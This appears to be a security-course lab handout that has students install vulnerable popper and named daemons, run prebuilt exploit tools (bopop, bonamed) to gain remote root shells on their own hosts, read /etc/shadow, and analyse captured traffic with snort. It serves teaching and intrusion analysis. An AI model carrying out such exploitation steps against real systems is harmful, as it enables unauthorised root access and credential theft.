More examples of remote root exploit through buffer overflow
tcpdump -s 2000 -w pop3dump port 110
cp /usr/local2/wsh/bo/popper.vul /usr/sbin/popper
pop-3 stream tcp nowait root /usr/sbin/tcpd popper
/etc/rc.d/init.d/inet reload
/usr/local2/wsh/bo/bopop yourhost
type "whoami" and "hostname" command to confirm your break-in after you get a root shell at your host.
Type some commands in the root shell, says "cat /etc/shadow"
/etc/rc.d/init.d/inet reload
/usr/local2/bin/snort -devr pop3dump |more
Save this dump file. You may need it for later assignment
Post all your findings on your web page.
tcpdump -s 2000 -w binddump port 53
zone "hacker.captured.com" {
type forward;
forwarders {your_partner_host_IP;};
};
/usr/local2/wsh/bo/named.vul
tail /var/log/messages to see if you start up the named successfully.
/usr/local2/wsh/bo/bonamed 1The program will hang there and wait for the victim to query. Watch closely to this terminal, you will get a root shell of your host later.
> nslookup Default Server: fortress.fox.hkntec.net Address: 192.168.128.230 > server your_host_IP > www.hacker.captured.com
/usr/local2/bin/snort -devr binddump |more
Save this dump file. You may need it for later assignment
Post all your findings on your web page.